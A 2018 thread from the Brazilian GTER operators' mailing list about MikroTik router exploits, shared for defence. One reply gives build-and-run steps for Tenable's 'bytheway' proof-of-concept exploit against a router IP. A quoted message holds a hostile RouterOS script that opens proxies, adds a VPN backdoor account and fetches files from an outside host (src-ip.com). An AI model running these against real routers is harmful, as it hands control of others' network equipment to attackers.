[GTER] Mais uma da mikrotik

[Gustavo Soares de Lima]

Você pode testar se seu Mikrotik está vulnerável. Segue um passo a passo:

*git clone https://github.com/tenable/routeros
<https://github.com/tenable/routeros>*
*cd routeros/poc/bytheway/*
*mkdir build*
*cd build/*
*apt-get install cmake gcc g++ build-essential python-dev libboost-all-dev*
*cmake ..*
*make*
*./btw -i ip_do_mikrotik*

Isto foi testado usando uma vm com Ubuntu GNU/Linux versão 18.

Em ter, 9 de out de 2018 às 15:58, Alexandre J. Correa (Onda) <
alexandre at onda.net.br> escreveu:

> http://src-ip.com/recmd.txt
>
> /system logging action set memory memory-lines=1
> /ip socks set enabled=yes port=("3".[:pick [/system clock get time ] 3
> 5].[:pick [/system clock get time] 6 8])
> /ip socks access remove [/ip socks access find]
> /ip proxy set anonymous=no enabled=yes port=8080 src-address=::
> /ip proxy access remove [/ip proxy access find]
> /ip proxy access add action=deny disabled=no
> /ip firewall nat remove [find comment=sysadminpxy]
> /ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80
> src-address-list=!Ok action=redirect to-ports=8080 comment=sysadminpxy
> /ip firewall nat move [find comment=sysadminpxy] destination=0
> /ip firewall filter remove [find comment=sysadminpxy]
> /ip firewall filter add disabled=no chain=input protocol=tcp dst-port=8080
> action=add-src-to-address-list address-list=Ok address-list-timeout=15s
> comment=sysadminpxy
> /ppp secret add name=srcvpn1 service=any password=[/interface ethernet get
> 0 mac-address] profile=default-encryption local-address=192.168.1.1 \
> remote-address=192.168.1.111;/interface pptp-server server set enabled=yes
> max-mtu=1500 max-mru=1500
> /ip service set winbox port=("4".[:pick [/system clock get time ] 3
> 5].[:pick [/system clock get time] 6 8]);/ip service disable
> telnet,ftp,www-ssl,api,api-ssl,ssh
> /tool fetch url=http://src-ip.com/error.html mode=http
> dst-path=flash/webproxy/error.html
> /tool fetch url=http://src-ip.com/error.html mode=http
> dst-path=webproxy/error.html
> :delay 6s
> /system scheduler remove RE_CMD
>
>
>
> On 09/10/2018 14:24, Eduardo Schoedler wrote:
> > Em seg, 8 de out de 2018 às 18:59, Leonardo Rosa
> > <leonardo at brauser.com.br> escreveu:
> >> Nova?
> >> Essas são antigas, de Agosto.
> > Não sei o quanto nova, mas podem perguntar para a própria MikroTik,
> > que está patrocinando anúncio no Facebook com link para o blog deles,
> > com título:
> >   *NEW* EXPLOIT FOR MIKROTIK ROUTER WINBOX VULNERABILITY
> >
> >
> https://blog.mikrotik.com/security/new-exploit-for-mikrotik-router-winbox-vulnerability.html
> >
> >
> > Att.
> >
> > --
> > Eduardo Schoedler
> > --
> > gter list    https://eng.registro.br/mailman/listinfo/gter
>
>
> --
> Fwd: a
>
>
>
>
>
>
> *Alexandre Jeronimo Correa* / CEO
> _alexandre at onda.net.br <mailto:alexandre at onda.net.br>_ / Office +55 34
> 3351 - 3077
>
> *ONDA INTERNET*
> +55 34 3351-3077
> Av. Benedito Valadares, 217 – Centro – Sacramento – MG - BR
> _http://www.onda.net.br <http://www.onda.net.br/>_
>
>
> --
> gter list    https://eng.registro.br/mailman/listinfo/gter
>